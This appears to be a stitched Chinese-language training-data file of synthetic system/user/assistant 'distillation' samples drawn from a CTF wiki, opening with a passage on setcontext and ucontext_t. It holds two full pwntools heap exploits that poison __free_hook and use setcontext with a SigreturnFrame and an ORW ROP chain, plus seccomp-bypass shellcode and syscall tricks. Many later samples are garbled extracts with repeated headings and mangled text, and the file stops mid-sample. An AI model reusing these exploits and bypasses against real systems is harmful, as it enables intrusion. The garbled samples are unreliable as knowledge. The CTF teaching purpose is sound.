    __extension__ unsigned long long int __ssp[4];
} ucontext_t;
```

[图片: image]

在`setcontext`函数中，除了对`mcontext_t uc_mcontext;` `sigset_t uc_sigmask;` `struct _libc_fpstate __fpregs_mem __ssp`这4个进行操作外，并没有对其他部分操作，也就是我们可以不关心其他的值。

+ `uc_mcontext`

```c
/* Context to describe whole processor state.  */
typedef struct
{
    gregset_t __ctx(gregs);
    /* Note that fpregs is a pointer.  */
    fpregset_t __ctx(fpregs);
    __extension__ unsigned long long __reserved1[8];
} mcontext_t;
```

这个就是存储寄存器的结构体，也是我们平时`setcontext+53`所使用的地方。有关数据设置和传统利用`setcontext+53`时一样即可。

**注意 **`fpregs`** 指针需要指向一块可读写内存。**

```c
/* Restore the floating-point context.  Not the registers, only the
   rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv  (%rcx)
```

+ `uc_sigmask`

这个主要是负责信号量，**经测试全是0就可以，当然也可以使用其他程序拷贝过来的信号量。**

+ `__ssp`

这个所对应的步骤为`setcontext`中的如下内容，作用使加载 MXCSR 寄存器，经测试0也行，偏移为`0x1c0`

+ exp模板

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x500)
add_chunk(1, 0x18)

delete_chunk(0)
show_chunk(0)

libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x400)
add_chunk(1, 0x400)
delete_chunk(1)
delete_chunk(0)

edit_chunk(0, p64(libc.sym['__free_hook']))

add_chunk(1, 0x400)
add_chunk(0, 0x400)

buf_addr = libc.sym['__free_hook'] + 0x100
payload = b''

payload += p64(libc.sym['setcontext'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'

edit_chunk(0, payload)

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000

frame = bytes(frame)
info("frame len: " + hex(len(frame)))

edit_chunk(1, frame)

gdb.attach(p, "b __libc_free\nc")
pause()

delete_chunk(1)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「setcontext+ROP」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### setcontext+ROP

```python
#!/bin/python3
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x500)
add_chunk(1, 0x18)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x400)
delete_chunk(0)
edit_chunk(0, p64(libc.sym['__free_hook']))
add_chunk(1, 0x400)
add_chunk(0, 0x400)

buf_addr = libc.sym['__free_hook'] + 0x100

payload = b''
payload += p64(libc.sym['setcontext'] + 53)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"

edit_chunk(0, payload)

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rdi = buf_addr
frame.rsi = 0
frame.rip = libc.sym['open']

edit_chunk(1, str(frame))
delete_chunk(1)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `Seccomp绕过` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`Seccomp绕过`

## Writeup 蒸馏
---
title: Seccomp沙箱机制与绕过
date: 2026-04-17 21:30:38
categories: Pwn101
tags:
mathjax:
top:
---

## 基本概念

Seccomp 是 Linux kernel 从 2.6.23 版本开始引入的一种简洁的沙箱机制。在 Linux 系统里，大量的系统调用直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。Seccomp 安全机制能使一个进程进入到一种 "安全" 运行模式，该模式下的进程只能调用有限的系统调用。

在进程的`/proc/${pid}/status`文件中的 Seccomp 字段可以看到进程的 Seccomp 状态：

```
❯ cat /proc/2131/status

......

Seccomp:        2
Seccomp_filters:        1
Speculation_Store_Bypass:       thread vulnerable
SpeculationIndirectBranch:      conditional enabled
Cpus_allowed:   ff
Cpus_allowed_list:      0-7
Mems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        1137
nonvoluntary_ctxt_switches:     0
```

- 0：尚未启动；
- 1：启用严格模式；
- 2：启用过滤模式；

## 沙箱开启方式

### 使用 prctl 创建沙箱

`PR_SET_SECCOMP`是 Linux 内核提供的一种机制，用于限制进程可以执行的系统调用。`PR_SET_SECCOMP`机制可以通过使用`prctl()`系统调用来设置。

我们可以借助工具`seccomp-tools`来编写沙箱规则。

首先编写沙箱规则，保存在文件`rule`中：

```
A = arch
A == ARCH_X86_64 ? next : kill
A = sys_number
A >= 0x40000000 ? kill : next
A == execve ? kill : allow
allow:
return ALLOW
kill:
return KILL
```

运行命令将沙箱规则转换为可被`PR_SET_SECCOMP`识别的规则：

```bash
seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -
```

将生成的规则应用到 C 程序中：

```c
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

int main() {
    struct sock_filter filter[] = {
        {0x20, 0x00, 0x00, 0x00000004},
        {0x15, 0x00, 0x04, 0xc000003e},
        {0x20, 0x00, 0x00, 0x00000000},
        {0x35, 0x02, 0x00, 0x40000000},
        {0x15, 0x01, 0x00, 0x0000003b},
        {0x06, 0x00, 0x00, 0x7fff0000},
        {0x06, 0x00, 0x00, 0x00000000}
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("prctl error.");
        return 1;
    }

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
    return 0;
}
```

### 使用seccomp库创建沙箱

首先安装 libseccomp-dev：
```bash
sudo apt-get install libseccomp-dev
```

示例代码：

```c
#include <unistd.h>
#include <seccomp.h>

int main() {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);

    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);

    return 0;
}
```

`seccomp_rule_add`函数参数说明：
- `ctx`：过滤器上下文
- `action`：匹配时的操作（SCMP_ACT_ALLOW允许、SCMP_ACT_KILL杀死进程、SCMP_ACT_ERRNO返回错误码）
- `syscall`：要限制的系统调用号
- `arg_cnt`：要匹配的参数数量
- `...`：可变参数，指定参数匹配条件

## 常见绕过

### ORW

当沙箱禁用`execve`系统调用时，可以通过`open`/`read`/`write`等系统调用组合来读取 flag。

- orw shellcode 示例：

```python
shellcode = asm("""
    push 0x67616c66
    mov rdi, rsp
    xor esi, esi
    push 2
    pop rax
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edi, 1
    mov rsi, rsp
    push 1
    pop rax
    syscall
""")
```

当`open`被禁用时，可以使用`openat`代替：
```python
shellcode = asm('''
    mov rax, 0x67616c662f2e
    push rax
    mov rdi, -100
    mov rsi, rsp
    mov rdx, 0
    mov rax, 257
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 1024
    mov rax, 0
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov rax, 1
    syscall
''')
```

### 使用4字节系统调用绕过

当沙箱缺少对`sys_number >= 0x40000000`的判断时，可以使用`0x40000000 | sys_number`来绕过。

### 使用32位shellcode

利用 x86 架构下 CS 段寄存器切换模式，以及 64 位和 32 位系统调用号不同的特性：
- 缺乏对当前架构的判断
- 64 位下的某些调用号与 32 位下的open相同

示例沙箱规则（缺少架构判断）：
```
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009
0003: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0008
0004: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0008
...
```

### 侧信道攻击

当所有输出相关的系统调用被禁用时，可以通过逐字节比较来爆破flag：

```python
def check(i, c):
    p = process([elf.path])
    p.send(payload)
    sleep(1)

## Exploit 关键代码
### Seccomp绕过/exp.py
```python
#!/tools/env/bin/python3
from pwn import *
from Crypto.Cipher import ARC4
from Crypto.Random import get_random_bytes

def dbg(c=0):
	if c:
		gdb.attach(io, c)
	else:
		gdb.attach(io)
		pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

username=""
passwd=""

def get_username():
	global username, passwd

	while True:
		for i in range(1,256):
			if (i==0xA): continue
			ru(b"Input your username:\n")
			sl(username+chr(i)+"\x00")

			result=io.recvline()
			if (result=="Invalid username length!\n"):
				username+=chr(i)
				break
			elif (result=="Username correct!\n"):
				sl()
				username+=chr(i)
				return

get_username()

def get_passwd():
	global username, passwd

	while True:

# ... 中间内容省略，保留关键利用片段 ...

def show(idx):
def delete(idx):
for i in range(8): delete(i)
show(6)
show(7)
delete(0)
delete(0)
delete(5)
delete(4)
```

### Seccomp绕过/prctl.c
```c
#include <stdio.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>

int main(int argc, char *argv[])
{

  //定义过滤器规则
  struct sock_filter filter[] = {
            {0x20, 0x00, 0x00, 0x00000004},
            {0x15, 0x00, 0x04, 0xc000003e},
            {0x20, 0x00, 0x00, 0x00000000},
            {0x35, 0x02, 0x00, 0x40000000},
            {0x15, 0x01, 0x00, 0x0000003b},
            {0x06, 0x00, 0x00, 0x7fff0000},
            {0x06, 0x00, 0x00, 0x00000000}
  };
  struct sock_fprog prog = {
            .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
            .filter = filter,
    };

    // 设置seccomp过滤器
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("[-] prctl error.");
        return 1;
    }

    // 执行系统调用
    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);

    return 0;
}
```


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「例题分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > 自定义协议 > 例题分析
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“例题分析”展开。
- HITCON-2018 : ev3 basic - HITCON-2018 : ev3 scanner ev3 basic

关键术语：
- misc
- traffic
- data.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题分析

数据提取 自定义协议 例题分析

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「线程安全与可重入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`
标题：Race Condition
章节：Race Condition > 形式 > CWE-364: Signal Handler Race Condition > 线程安全与可重入
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“线程安全与可重入”展开。
- 可重入函数使用的所有变量都保存在调用栈的当前函数栈（frame）上。
- 线程安全 - 即该函数可以被多个线程调用，而不会出现任何问题。
- 条件 - 本身没有任何共享资源 - 有共享资源，需要加锁。
- 可重用 - 一个函数可以被多个实例可以同时运行在相同的地址空间中。
- 可重入函数可以被中断，并且其它代码在进入该函数时，不会丢失数据的完整性。

关键术语：
- 栈
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

线程安全与可重入

Race Condition
形式
CWE-364: Signal Handler Race Condition
线程安全与可重入

Race Condition


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/prefix.md` 中的章节「struct 模块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/prefix.md`
标题：取证隐写前置技术
章节：取证隐写前置技术 > Python 操作二进制数据 > struct 模块
路径分类：misc / misc/prefix.md
分块：1/1

核心知识点：
- 本节主题围绕“struct 模块”展开。
- 这里就不再给出不同格式字符串的含义了，详细细节可以参照 Python Doc ``python >>> import struct >>> struct.pack('>I',16) '\x00\x00\x00\x10' ` pack 的第一个参数是处理指令，'>I' 的意思是：> 表示字节顺序是 Big-Endian，也就是网络序，I 表示 4 字节无符号整数。
- 有的时候需要用 Python 处理二进制数据，比如，存取文件，socket 操作时。
- 这时候，可以使用 Python 的 struct 模块来完成。
- struct 模块中最重要的三个函数是 pack()、unpack() 和 calcsize() - pack(fmt, v1, v2, ...) 按照给定的格式（fmt），把数据封装成字符串（实际上是类似于c结构体的字节流） - unpack(fmt, string) 按照给定的格式（fmt）解析字节流 string，返回解析出来的 tuple - calcsize(fmt) 计算给定的格式（fmt）占用多少字节的内存 这里打包格式 fmt 确定了将变量按照什么方式打包成字节流，其包含了一系列的格式字符串。

关键术语：
- misc
- prefix.md
- code:python

代码/命令片段线索：
- python: 3 行，首行 `>>> import struct`
- python: 4 行，首行 `>>> import struct`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

struct 模块

取证隐写前置技术
Python 操作二进制数据
struct 模块

取证隐写前置技术


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「获取 IDA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 获取 IDA
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“获取 IDA”展开。
- 通过 IDA Pro 我们可以很方便地复原二进制程序的运行逻辑，从而进一步审计出其中存在的漏洞。
- IDA Pro 为付费软件，软件本体与不同架构的反编译引擎单独进行收费，你可以根据自己的需求在 Hex-rays 的官网自行购买相应的软件许可证以进行使用。
- IDA Pro（interactive Disassembler Professional）是由 Hex-Rays 公司出品的一款交互式反汇编工具，也是软件逆向工程当中最流行的一个静态分析工具。
- > 截至 2024 年 4 月， IDA Pro 本体许可证的价格为 1975 USD，任一指令集架构反编译功能的许可证价格为 2765 USD。
- 此外，Hex-rays 公司还提供基于云引擎的免费逆向工具 IDA Free，目前仅支持 x86 逆向，不过对于绝大部分 CTF 中 Linux 下的用户态 Pwn 题目而言通常已足够使用。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- environment.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

获取 IDA

pwn-related tools
在本地直接搭建 CTF Pwn 做题环境
获取 IDA

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/archive/zip.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/archive/zip.md`
标题：ZIP 格式
章节：-- coding: utf-8 -- > 明文攻击 > 例题
路径分类：misc / misc/archive/zip.md
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- 方法一、 pkcrack 进行明文攻击 pkcrack 下载链接：https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html 我们可以直接写个 shell 脚本下载就好了： ``shell #!
- 文件: ./figure/compare.png] 第三步、尝试明文攻击 既然我们已经知道了它是明文攻击的话，我们将对其压缩包进行破解，由于解压出的readme.txt是加密压缩包里的 readme.txt 的明文，将 readme.txt 压缩成 .zip 文件，然后在软件中填入相应的路径即可开始进行明文攻击，这里我们将介绍 Windows 和 Ubuntu 下使用不同的方式进行明文攻击。
- 我就是因为这个问题卡了整整三个月没做出来，不信的话我们可以看看第二种方法，在 Windows 下用 ARCHPR 进行明文攻击。
- 方法二、 ARCHPR 进行明文攻击 首先这题我建议大家下 ARCHPR 4.53 版本，我是在这个版本下测试成功的。
- 然后我们就可以用 ARCHPR 进行明文攻击了。

关键术语：
- 密码学
- 漏洞利用
- misc
- archive
- zip.md
- code:shell

代码/命令片段线索：
- shell: 8 行，首行 `#!/bin/bash -ex`
- shell: 1 行，首行 `chmod 777 install.sh`
- shell: 1 行，首行 `chmod u+x install.sh`
- shell: 1 行，首行 `./pkcrack -c "readme.txt" -p readme.txt -C ~/下载/misc/Desktop.zip -P ~/下载/misc/readme.zip -d ~/decrypt.zip`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

ZIP 格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/other/pyc.md` 中的章节「Stegosaurus」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/other/pyc.md`
标题：pyc文件
章节：WARNING: Decompyle incomplete > Tools > Stegosaurus
路径分类：misc / misc/other/pyc.md
分块：1/1

核心知识点：
- Python 的 dis 模块会返回源文件的字节码，然后我们就可以使用 Stegosaurus 来嵌入 Payload 了。
- 原理是在 python 的字节码文件中，利用冗余空间，将完整的 payload 代码分散隐藏到这些零零碎碎的空间中。
- > Stegosaurus 是一款隐写工具，它允许我们在 Python 字节码文件( pyc 或 pyo )中嵌入任意 Payload。
- 由于编码密度较低，因此我们嵌入 Payload 的过程既不会改变源代码的运行行为，也不会改变源文件的文件大小。
- Payload 代码会被分散嵌入到字节码之中，所以类似 strings 这样的代码工具无法查找到实际的 Payload。

关键术语：
- 漏洞利用
- misc
- other
- pyc.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Stegosaurus

WARNING: Decompyle incomplete
Tools
Stegosaurus

pyc文件


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/jpg.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/jpg.md`
标题：JPG
章节：JPG > 文件结构
路径分类：misc / misc/picture/jpg.md
分块：1/1

核心知识点：
- 本节主题围绕“文件结构”展开。
- JPEG 是有损压缩格式，将像素信息用 JPEG 保存成文件再读取出来，其中某些像素值会有少许变化。
- 在保存时有个质量参数可在 0 至 100 之间选择，参数越大图片就越保真，但图片的体积也就越大。
- 一般情况下选择 70 或 80 就足够了 - JPEG 没有透明度信息 JPG 基本数据结构为两大类型：「段」和经过压缩编码的图像数据。
- 段与段之间无论有多少 FF 都是合法的，这些 FF 称为「填充字节」，必须被忽略掉。
- 一些常见的段类型 [图片文件: ./figure/jpgformat.png] 0xffd8 和 0xffd9为 JPG 文件的开始结束的标志。

关键术语：
- misc
- picture
- jpg.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

文件结构

JPG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（1）常见整数指令（R 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （1）常见整数指令（R 型）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（1）常见整数指令（R 型）”展开。
- R 型指令用于寄存器之间的算术或逻辑操作，格式：rd = rs1 op rs2。

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（1）常见整数指令（R 型）

Risc-V
0x03 常见指令
（1）常见整数指令（R 型）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/arm/readme.md` 中的章节「参考链接」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/arm/readme.md`
标题：ARM
章节：ARM > 2. 指令集 > 参考链接
路径分类：assembly / assembly/arm/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“参考链接”展开。
- arm 指令学习 常用arm指令 arm-opcode-map

关键术语：
- assembly
- arm
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考链接

ARM
2. 指令集
参考链接

ARM


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/exploit.md` 中的章节「组态利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/exploit.md`
标题：ICS_CTF 利用
章节：ICS_CTF 利用 > 组态利用
路径分类：ics / ics/exploit.md
分块：1/1

核心知识点：
- 本节主题围绕“组态利用”展开。
- 组态的利用方法： 1. 强制IO(最管用的一种调试方法) 2. 工程加密与解密（工程加密是PLC一种保护措施，但仍存在被破解的可能） 3. 上载下载（基础概念请自行恶补） 4.
- 组态是工控场景的核心，是工控编程与实现功能的核心内容，如果你不太懂组态，请自行学习自动化领域工业控制系统组态的相关书籍。
- PLC等目标设备的内存分布（基础概念请自行恶补） 5. 其他附加功能（例如ftp、ntp等）
- 最好的学习方式是拿到相关的产品说明书，针对说明书上的内容一点一点学习。

关键术语：
- 漏洞利用
- ics
- exploit.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

组态利用

ICS_CTF 利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/mips/readme.md`
标题：MIPS
章节：MIPS > 0x2 指令 Instruction
路径分类：assembly / assembly/mips/readme.md
分块：1/4

核心知识点：
- 本节主题围绕“0x2 指令 Instruction”展开。
- ADD – Add (with overflow) | Description: | Adds two registers and stores the result in a register | | ------------ | ------------------------------------------------------ | | Operation: | $d = $s + $t;
- | | Syntax: | add $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 0000 | ADDI -- Add immediate (with overflow) | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------ | --------...
- | | Syntax: | addi $t, $s, imm | | Encoding: | 0010 00ss ssst tttt iiii iiii iiii iiii | ADDIU -- Add immediate unsigned (no overflow) | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------...
- | | Syntax: | addiu $t, $s, imm | | Encoding: | 0010 01ss ssst tttt iiii iiii iiii iiii | ADDU -- Add unsigned (no overflow) | Description: | Adds two registers and stores the result in a register | | ------------ | -----------------------------------------...
- advance_pc (offset << 2));

关键术语：
- 边界/溢出
- assembly
- mips
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x2 指令 Instruction

MIPS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
